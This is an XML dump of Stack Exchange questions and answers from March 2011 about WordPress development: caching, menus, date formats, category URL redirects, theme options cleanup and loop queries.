  <row Id="13166" PostTypeId="2" ParentId="13136" CreationDate="2011-03-26T18:50:48.627" Score="1" ViewCount="" Body="&lt;p&gt;The DOMDocument approach seems like an overly complicated one for what you're trying to do. Couldn't you just do this with a regex filter?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_list_pages', 'add_hash'); &#xA;add_filter('wp_list_categories', 'add_hash'); &#xA;&#xA;function add_hash($output) {&#xA;    return preg_replace( &#xA;        '/&amp;lt;a\s(.*?)href=&quot;(.*?)&quot;(.*?)&amp;gt;/', &#xA;        '&amp;lt;a $1href=&quot;$2#b&quot;$3&amp;gt;', $output );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(written quickly, apologies if this regex doesn't catch everything... its just for the concept though...)&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-03-26T18:50:48.627" />
  <row Id="13167" PostTypeId="2" ParentId="13152" CreationDate="2011-03-26T19:06:52.093" Score="1" ViewCount="" Body="&lt;p&gt;You might take a look at scribu's &lt;a href=&quot;http://scribu.net/wordpress/front-end-editor&quot; rel=&quot;nofollow&quot;&gt;Front End Editor&lt;/a&gt;. It makes many things editable on the web-facing part of your site. It's of interest here because it appears to be a lightweight WYSIWYG editor that can support multiple, simultaneous instances without getting confused.&lt;/p&gt;&#xA;" OwnerUserId="1958" LastActivityDate="2011-03-26T19:06:52.093" CommentCount="2" />
  <row Id="13168" PostTypeId="1" CreationDate="2011-03-26T19:32:14.990" Score="0" ViewCount="97" Body="&lt;p&gt;I have a picture website that has about 300 contributing authors. I want to have it so any author can submit a request of pictures that they want on a list. The list then would be credited to that author that submitted the list but the posts within the list are still associated with the author that submitted the picture. I can't seem to find a good plugin/work around that will do this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? It would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="4239" LastActivityDate="2011-03-27T00:46:06.887" Title="Custom Taxonomy With Author?" Tags="&lt;taxonomy&gt;" AnswerCount="2" />
  <row Id="13169" PostTypeId="1" AcceptedAnswerId="13170" CreationDate="2011-03-26T19:58:06.467" Score="0" ViewCount="262" Body="&lt;p&gt;I currently have a plugin that lets me display a random post in a widget. The problem is that if I activate w3 total cache it will only display that post as long as the cache hasn't been cleared. Is there a way to cache everything except this plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry if the question is rather newbie, I just installed the plugin but haven't been able to find the answer anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="3893" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-03-26T20:08:48.777" LastActivityDate="2011-07-13T12:11:04.757" Title="Can I ignore caching of a plugin in W3 Total Cache?" Tags="&lt;plugins&gt;&lt;widgets&gt;&lt;cache&gt;&lt;plugin-w3-total-cache&gt;" AnswerCount="1" />
  <row Id="13170" PostTypeId="2" ParentId="13169" CreationDate="2011-03-26T20:05:45.317" Score="0" ViewCount="" Body="&lt;p&gt;You can try fragment caching, from plugin's FAQ:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Edit your templates to with the following syntax to ensure that dynamic features remain so:&#xA;Example 1:&#xA;&amp;lt;!-- mfunc any PHP code --&amp;gt;&amp;lt;!-- /mfunc --&amp;gt;&#xA;Example 2:&#xA;&amp;lt;!-- mfunc --&amp;gt;any PHP code&amp;lt;!-- /mfunc --&amp;gt;&#xA;Example 3:&#xA;&amp;lt;!--MFUNC           --&amp;gt;&#xA;                                      echo rand();&#xA;&amp;lt;!--/mfunc --&amp;gt;&#xA;Example 4:&#xA;&amp;lt;!-- mclude path/to/file.php --&amp;gt;&amp;lt;!-- /mclude --&amp;gt;&#xA;Example 5:&#xA;&amp;lt;!-- mclude --&amp;gt;path/to/file.php&amp;lt;!-- /mclude --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But my personal opinion is just to get rid of overly dynamic stuff. Unless it's key functionality (like in e-commerce) it's usually useless eye candy.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-26T20:05:45.317" CommentCount="4" />
  <row Id="13171" PostTypeId="2" ParentId="13168" CreationDate="2011-03-26T20:41:00.027" Score="0" ViewCount="" Body="&lt;p&gt;I don't know about a plugin but when i faced a similar issue on one of my clients site, i needed to create an &quot;in site favorites&quot; feature for the site's users, and to do so i used a single usermeta filed were i saved the user's favorites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First i create an &quot;add to favorite&quot; function which i displayed only to logged in users using the_content hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then i added another function to actually save the link in the users meta table (simpe ajax and using the add_user_meta function) all in one filed as an array of post ID's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and last i create a new template page called &quot;My Favorites&quot; and asyou can tell by its name it showed the list of posts the current logged in user as saved as favorite , simply by grabbing the list of post ID's form the user meta.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I'm suggesing is maybe use the user meta as your list holder.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-26T20:41:00.027" />
  <row Id="13172" PostTypeId="1" CreationDate="2011-03-26T21:12:33.027" Score="0" ViewCount="21" Body="&lt;p&gt;HI to anyone that is reading this, im a newbie and need some stablizers to get me going as such.&#xA;My plugin works like this, members register with the site and they can review some of the items i have made with a youtube review and a written article. The youtube vid will have its own like/dislike buttons with counter for each. The rest of the article contains the image that the item that needs with text to one side and stars,price below the picture. The picture has a link that can be created by admin via the plugin's admin. when the article is published it automaticly mircroblogs, creates a podcast and RSS feeds submissions.&#xA;The plugin also monitors members that submit reviews and have been published and shows them in a graph and table system.&#xA;The plugin also has a caputa image to prevent spam submissions. The plugin's admin allows admin's to review article befor publishing and also allows users to upload files. It must work with mutisites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK so how and where do i start creating it. can anyone give me steps? &lt;/p&gt;&#xA;" OwnerUserId="4240" LastActivityDate="2011-03-26T21:12:33.027" Title="Help me with building review plugin where do i start first?" Tags="&lt;plugin-development&gt;&lt;rss&gt;&lt;review&gt;" />
  <row Id="13173" PostTypeId="1" AcceptedAnswerId="13176" CreationDate="2011-03-26T21:12:59.990" Score="1" ViewCount="68" Body="&lt;p&gt;My theme has a custom menu assignment...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_register_my_menus() {&#xA;  register_nav_menus(&#xA;    array('header-menu' =&amp;gt; __( 'Custom Header Menu' ) )&#xA;  );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...and I'm creating an &quot;installer&quot; type plugin that, upon activation, I would like to hook into this custom menu and assign some pages to it as if they had been created manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the menu API is pretty new and to date, I've been unable to find any examples of how to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm hoping someone here can give me some direction, examples or info on how to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance :-)&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-03-26T22:51:35.523" LastActivityDate="2011-03-26T23:14:47.560" Title="Can I add pages to my custom menu via script?" Tags="&lt;plugin-development&gt;&lt;custom-menus&gt;" AnswerCount="1" />
  <row Id="13175" PostTypeId="2" ParentId="10302" CreationDate="2011-03-26T21:42:25.657" Score="0" ViewCount="" Body="&lt;p&gt;The problem was linked to the &lt;a href=&quot;http://wp-hive.com/&quot; rel=&quot;nofollow&quot;&gt;WP-Hive plugin&lt;/a&gt;, and it was (partially) resolved, when the plugin's author had &lt;a href=&quot;http://wordpress.org/support/topic/upgrade-to-31-wp_cache_get-issue#post-1974988&quot; rel=&quot;nofollow&quot;&gt;fixed the problem&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="931" LastActivityDate="2011-03-26T21:42:25.657" />
  <row Id="13176" PostTypeId="2" ParentId="13173" CreationDate="2011-03-26T22:09:17.727" Score="2" ViewCount="" Body="&lt;p&gt;You can use &lt;code&gt;wp_nav_menu_{$menu-&amp;gt;slug}_items&lt;/code&gt; hook and add you link with a callback function, for example if your menu slug is &lt;code&gt;header-menu&lt;/code&gt; then something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_nav_menu_header-menu_items', 'add_my_extra_links',10,2);&#xA;function add_my_extra_links($items, $args) {&#xA;  $newitems = '&amp;lt;li&amp;gt;&amp;lt;a title=&quot;Test Link&quot; href=&quot;http://google.com&quot;&amp;gt;Google&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;  $newitems .= '&amp;lt;li&amp;gt;&amp;lt;a title=&quot;Test Link&quot; href=&quot;http://yahoo.com&quot;&amp;gt;Yahoo&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;  $newitems .= '&amp;lt;li&amp;gt;&amp;lt;a title=&quot;Test Link&quot; href=&quot;http://bing.com&quot;&amp;gt;Bing&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;  $newitems .= $items;&#xA;  return $newitems;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I guess you would need to call &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-admin/includes/nav-menu.php#L941&quot; rel=&quot;nofollow&quot;&gt;wp_save_nav_menu_items&lt;/a&gt; which is the function used to save the menu items to the database.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-03-26T23:14:47.560" LastActivityDate="2011-03-26T23:14:47.560" CommentCount="5" />
  <row Id="13177" PostTypeId="1" AcceptedAnswerId="13178" CreationDate="2011-03-26T22:14:34.167" Score="1" ViewCount="39" Body="&lt;p&gt;I did a pretty thorough search and found a couple of closed (and unanswered) topics on the WP forums. Does anyone know if this is possible? The codex doesn't specify this as an option. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2828" LastActivityDate="2011-03-26T23:21:38.207" Title="How do you format the date as a two digit year? (ex. &quot;10.12.10&quot; instead of &quot;10.12.2010&quot;)" Tags="&lt;date-time&gt;" AnswerCount="2" />
  <row Id="13178" PostTypeId="2" ParentId="13177" CreationDate="2011-03-26T22:18:14.350" Score="4" ViewCount="" Body="&lt;p&gt;You use a lowercase y for a 2 digit year.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example (l, F j, Y) --&gt;  returns, Friday, September 24, 2004&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and  (l, F j, y) ---&gt; returns Friday, September 24, 04&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-03-26T22:18:14.350" CommentCount="1" />
  <row Id="13179" PostTypeId="1" CreationDate="2011-03-26T22:51:10.360" Score="1" ViewCount="76" Body="&lt;p&gt;I don't want to support Categories in my WordPress site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can have an empty category.php page to cater for users using a URL to directly query the default Category (/category/Uncategorized), but I was wondering if there's a way to shut off WordPress's recognition of the category URLs, so that any attempt to access them would direct to the 404 page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="4184" LastActivityDate="2011-03-27T10:42:29.330" Title="Is it possible to have WordPress not recognize category URLs?" Tags="&lt;categories&gt;" AnswerCount="3" />
  <row Id="13180" PostTypeId="2" ParentId="13179" CreationDate="2011-03-26T23:06:00.673" Score="1" ViewCount="" Body="&lt;p&gt;I don't know offhand if it is possible to &quot;shut off&quot; category's in WordPress, but you can accomplish what your asking for with simple .htaccess rewrite rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for instance for just the /category&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RedirectMatch 301 ^/category/$ http://example.com/404.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for all sub-directory's and pages linked through /category/&lt;em&gt;*&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RedirectMatch 301 ^/category/.*$ http://example.com/404.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You want to use a 301 to tell Google and such that it is a permanent change. &#xA;Also I suggest instead of sending them to a 404 page just send requests to the home page if the site link has never existed, if it has and is linked then a 404 page with useful info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps. the syntax highlighter makes the above have weird colors.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-03-26T23:17:32.007" LastActivityDate="2011-03-26T23:17:32.007" CommentCount="1" />
  <row Id="13181" PostTypeId="1" AcceptedAnswerId="13441" CreationDate="2011-03-26T23:11:13.023" Score="1" ViewCount="73" Body="&lt;p&gt;I've managed to get my &quot;semi noob proof&quot; site installer plugin 98% complete, but I'm having a slight issue with the theme activation. The plugin is able to copy the theme into the themes directory fine. However, my switch_theme statement that attempts to set it to the active theme is missing something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function activate_theme(){&#xA;switch_theme('my_theme', 'style.css');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...as a trigger statement inside the plugin to activate the newly uploaded theme (its uploaded as part of a function that processes further up in the code from the &quot;activate_theme()&quot; function. My theme, in this instance is called 'my_theme' and that's what I'm using in the theme's style.css&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can tell that the switch theme is partially working, since when I click on &quot;Appearance&quot;, the default 2010 theme is no longer the active theme, however, the &quot;my_theme&quot; theme is not set to active either. Its as if the process only partially completed and neither 2010 nor my theme are fully activated. So, I still have to manually click &quot;Activate&quot; to finish the process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could I be missing?&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="373" LastEditorDisplayName="" LastEditDate="2011-03-27T10:02:19.743" LastActivityDate="2011-03-29T21:22:36.147" Title="Fully automated theme install and activation via a plugin" Tags="&lt;plugin-development&gt;&lt;themes&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="13182" PostTypeId="2" ParentId="13177" CreationDate="2011-03-26T23:21:38.207" Score="4" ViewCount="" Body="&lt;p&gt;Here is &lt;a href=&quot;http://www.php.net/manual/en/function.date.php&quot; rel=&quot;nofollow&quot;&gt;the full (I think) list of valid date/time parameters&lt;/a&gt; to pass to the_date() and/or the_time().&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-03-26T23:21:38.207" />
  <row Id="13183" PostTypeId="1" CreationDate="2011-03-27T00:24:25.910" Score="2" ViewCount="33" Body="&lt;p&gt;All of my theme's custom options are preceeded with &quot;mytheme_&quot; + option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, mytheme_color1, mytheme_color2, mytheme_body_font_color, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to create a plugin that uninstalls all of the items in wp_options where the option is preceeded with &quot;mytheme_&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a reference or example, please share it. Thanks in advance :-)&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-03-27T03:26:19.330" Title="Example of uninstaller routine to remove all custom theme options from wp_options" Tags="&lt;plugin-development&gt;&lt;theme-development&gt;&lt;uninstallation&gt;" AnswerCount="2" />
  <row Id="13184" PostTypeId="2" ParentId="13179" CreationDate="2011-03-27T00:32:42.843" Score="2" ViewCount="" Body="&lt;p&gt;Look at &lt;a href=&quot;http://core.trac.wordpress.org/ticket/11058&quot; rel=&quot;nofollow&quot;&gt;the code @scribu suggested&lt;/a&gt; for a function &lt;code&gt;unregister_taxonomy_from_object_type($taxonomy, $object_type)&lt;/code&gt; (the last patch currently).&lt;br&gt;&#xA;Until the code has found its way into the core, add it to your functions.php, wrap it into a &lt;code&gt;function_exists()&lt;/code&gt; and call it on &lt;code&gt;init&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unregister_taxonomy_from_object_type( 'category', 'post' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-03-27T10:42:29.330" LastActivityDate="2011-03-27T10:42:29.330" />
  <row Id="13186" PostTypeId="2" ParentId="13168" CreationDate="2011-03-27T00:46:06.887" Score="1" ViewCount="" Body="&lt;p&gt;I posted a plugin once to &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3097/how-can-i-add-a-url-field-to-the-attachments-window/3108#3108&quot;&gt;add artist information to media files&lt;/a&gt;. You should be able to extend it easily. Then query for the post type attachment and the meta data you used to get the list.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-03-27T00:46:06.887" />
  <row Id="13187" PostTypeId="2" ParentId="13183" CreationDate="2011-03-27T02:58:30.320" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;DELETE FROM $wpdb-&amp;gt;options WHERE option_name LIKE 'mytheme%'&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1241" LastActivityDate="2011-03-27T02:58:30.320" />
  <row Id="13188" PostTypeId="2" ParentId="13183" CreationDate="2011-03-27T03:26:19.330" Score="2" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;All of my theme's custom options are preceeded with &quot;mytheme_&quot; + option.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not safe enough. Use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/set_theme_mod&quot; rel=&quot;nofollow&quot;&gt;set_theme_mod()&lt;/a&gt;, &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_theme_mod&quot; rel=&quot;nofollow&quot;&gt;get_theme_mod()&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/remove_theme_mod&quot; rel=&quot;nofollow&quot;&gt;remove_theme_mod()&lt;/a&gt; instead. You’ll find these and more related functions in &lt;code&gt;wp-includes/theme.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-03-27T03:26:19.330" />
  <row Id="13190" PostTypeId="2" ParentId="13129" CreationDate="2011-03-27T06:26:31.063" Score="1" ViewCount="" Body="&lt;p&gt;The plugin '&lt;strong&gt;Post Types Order&lt;/strong&gt;' was the culprit. As Scribu pointed out above the plugin is filtering the Raw SQL query which it shouldn't be doing. As a result, the argument '&lt;strong&gt;suppress_filters&lt;/strong&gt;' wasn't stopping the query being modified and the '&lt;strong&gt;orderby&lt;/strong&gt;' argument was being completely ignored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to how this behavior can be stopped, I'm not sure. I solved my issue by disabling the plugin as it wasn't even being used. However, you can set the order of your custom post type menus in your register_post_types code instead, using the '&lt;strong&gt;menu_position&lt;/strong&gt;' argument which decides where the menu will be placed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Documentation for ordering your post types in the Wordpress admin menu can be &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type#Arguments&quot; rel=&quot;nofollow&quot;&gt;found here&lt;/a&gt; in the official Wordpress documentation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The lesson learned here is that you should always assume that a plugin has broken something, especially if you are using code from the official documentation that works.&lt;/p&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-03-27T06:26:31.063" />
  <row Id="13191" PostTypeId="2" ParentId="13135" CreationDate="2011-03-27T08:06:55.603" Score="1" ViewCount="" Body="&lt;p&gt;As per @Zeo suggestion, i activated default wordpress theme (Twenty Ten) -&gt; I opened feeds then -&gt; it was getting opened properly. I again to switched my theme without any changes. And it started working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone knows then please reason behind this.&lt;/p&gt;&#xA;" OwnerUserId="958" LastActivityDate="2011-03-27T08:06:55.603" CommentCount="1" />
  <row Id="13192" PostTypeId="1" AcceptedAnswerId="13197" CreationDate="2011-03-27T09:11:25.370" Score="1" ViewCount="347" Body="&lt;p&gt;hey guys, I really really need your help. I have just no idea why that happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to load a wordpress page with the jquery $ajax method. However my browser is crashing all the time when I try to load this page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've build a kind of ajax search that requests a wordpress page when typing inside of an input field. This is my code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jqXHR_Old = $.ajax({&#xA;       url: &quot;searchmap&quot;, // searchmap means mydomain.com/searchmap&#xA;       dataType: &quot;html&quot;,&#xA;       success: function (data) { ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The weird thing is: When i change the url to a static page like &lt;code&gt;url: &quot;searchmap.html&quot;&lt;/code&gt; everything works fine. As soon as I choose the dynamically generated Wordpress Template &quot;searchmap&quot; the ajax response throws &quot;301 Moved Permanetly&quot; messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my template that works just fine when I call it in the browser...&#xA;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Pages&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;?php wp_list_pages('title_li=&amp;amp;depth=0&amp;amp;exclude='); ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Posts&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;?php $first = 0;?&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;        &amp;lt;?php&#xA;        $myposts = get_posts('numberposts=-1&amp;amp;offset=$first');&#xA;        foreach($myposts as $post) :&#xA;        ?&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php endforeach; ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Categories&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;?php wp_list_categories('title_li=&amp;amp;orderby=name'); ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea why Firebug or Fiddler responds with &quot;301 Moved Permanently&quot; errors when I load this page with $.ajax() ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My browser keeps crashing, even though I abort each ajax request when typing again. So there are never happening multiple ajax requests. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;$.ajax requests mydomain.com/searchmap and mydomain.com/searchmap requests the server for all pages, posts and cats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? I'm completely clueless!&lt;/p&gt;&#xA;" OwnerUserId="3529" LastActivityDate="2011-03-28T10:23:54.603" Title="php ajax problem - weird 301 responses!" Tags="&lt;jquery&gt;&lt;errors&gt;&lt;ajax&gt;&lt;page-template&gt;" AnswerCount="1" />
  <row Id="13193" PostTypeId="1" AcceptedAnswerId="13251" CreationDate="2011-03-27T09:18:06.373" Score="0" ViewCount="274" Body="&lt;p&gt;Hi WordPress Experts please help me i want to get nav_menu_item_id and slug from wp database by given a page template like (store.php) this a page template and how we can get nave menu item id and slug that use this page template&lt;/p&gt;&#xA;" OwnerUserId="3311" LastActivityDate="2011-03-29T22:47:39.990" Title="How to get nav_menu_item_id and slug from wp database" Tags="&lt;database&gt;&lt;page-template&gt;" AnswerCount="3" />
  <row Id="13194" PostTypeId="2" ParentId="6083" CreationDate="2011-03-27T09:33:52.257" Score="0" ViewCount="" Body="&lt;p&gt;look at this article, this might solve your problem&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.xcellence-it.com/tips-tricks/975/fix-wordpress-pagination-problems-when-used-with-query_posts/&quot; rel=&quot;nofollow&quot; title=&quot;Fix WordPress Pagination Problems when used with query_posts&quot;&gt;Fix WordPress Pagination Problems when used with query_posts&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4246" LastActivityDate="2011-03-27T09:33:52.257" />
  <row Id="13195" PostTypeId="1" AcceptedAnswerId="13196" CreationDate="2011-03-27T09:42:51.063" Score="0" ViewCount="74" Body="&lt;p&gt;I'm trying to get the ID of a post in the first loop (using  &lt;code&gt;&amp;lt;?php $postid = get_the_ID(); ?&amp;gt;&lt;/code&gt; ) and use it in a variable (&lt;code&gt;$postid&lt;/code&gt;) to exclude that very post from a second loop (using &lt;code&gt;post__not_in&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php&#xA;&#xA;/**&#xA; * Replies Loop&#xA; *&#xA; * @package bbPress&#xA; * @subpackage Theme&#xA; */&#xA;&#xA;?&amp;gt;&#xA;&#xA;            &amp;lt;?php if ( ! get_query_var( 'paged' ) ) : ?&amp;gt;&#xA;&#xA;                &amp;lt;?php&#xA;                    $args = array(&#xA;                        'post_type' =&amp;gt; 'bbp_reply',&#xA;                        'posts_per_page' =&amp;gt; '1',&#xA;                        'paged' =&amp;gt; '2',&#xA;                        'post_parent' =&amp;gt; $post-&amp;gt;ID,&#xA;                        'gdsr_sort' =&amp;gt; 'thumbs',&#xA;                        'gdsr_ftvmin' =&amp;gt; '1',&#xA;                        'gdsr_order' =&amp;gt; 'desc'&#xA;                    );&#xA;                ?&amp;gt;&#xA;                &amp;lt;?php query_posts( $args ); ?&amp;gt;&#xA;                &amp;lt;?php while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA;                    &amp;lt;div class=&quot;most-voted&quot;&amp;gt;&#xA;                        &amp;lt;h2&amp;gt;&amp;lt;?php  the_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                        &amp;lt;?php the_content(); ?&amp;gt;&#xA;                        &amp;lt;?php bbp_reply_admin_links(); ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;                    &amp;lt;?php $postid = get_the_ID(); // capture the id ?&amp;gt;&#xA;&#xA;                &amp;lt;?php endwhile; ?&amp;gt;&#xA;                &amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&#xA;                &amp;lt;p&amp;gt;________________&amp;lt;/p&amp;gt;&#xA;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&#xA;&#xA;&amp;lt;?php&#xA;    $default = array(&#xA;        'post__not_in' =&amp;gt; $postid&#xA;    );&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php if ( bbp_has_replies( $default ) ) : ?&amp;gt;&#xA;&#xA;    &amp;lt;?php get_template_part( 'pagination', 'bbp_replies' ); ?&amp;gt;&#xA;&#xA;&#xA;            &amp;lt;?php while ( bbp_replies() ) : bbp_the_reply(); ?&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;topic-entry&quot;&amp;gt;&#xA;&#xA;                    &amp;lt;div class=&quot;topic-author&quot;&amp;gt;&#xA;                        &amp;lt;?php bbp_reply_author_link( array( 'type' =&amp;gt; 'avatar' ) ); ?&amp;gt;&#xA;                        &amp;lt;?php bbp_reply_author_link( array( 'type' =&amp;gt; 'name' ) ); ?&amp;gt;&#xA;                        &amp;lt;?php printf( __( '%1$s', 'bbpress' ), get_the_date() ); ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;                    &amp;lt;div class=&quot;topic-content&quot;&amp;gt;&#xA;                        &amp;lt;?php bbp_reply_content(); ?&amp;gt;&#xA;                        &amp;lt;span class=&quot;like-counter&quot;&amp;gt;&amp;lt;?php DisplayVotes(get_the_ID()); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;                    &amp;lt;?php wp_gdsr_render_article_thumbs(); ?&amp;gt;&#xA;&#xA;                    &amp;lt;?php bbp_reply_admin_links(); ?&amp;gt;&#xA;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But for some reason I'm getting this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: array_map(): Argument #2 should be an array in /home/alex/www/taiwantalk/wp-includes/query.php on line 2104 Warning: implode(): Invalid arguments passed in /home/alex/www/taiwantalk/wp-includes/query.php on line 2104 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-03-27T09:58:57.123" Title="Error while excluding a post from another loop (using its ID)" Tags="&lt;posts&gt;&lt;loop&gt;&lt;bbpress&gt;" AnswerCount="1" CommentCount="1" />
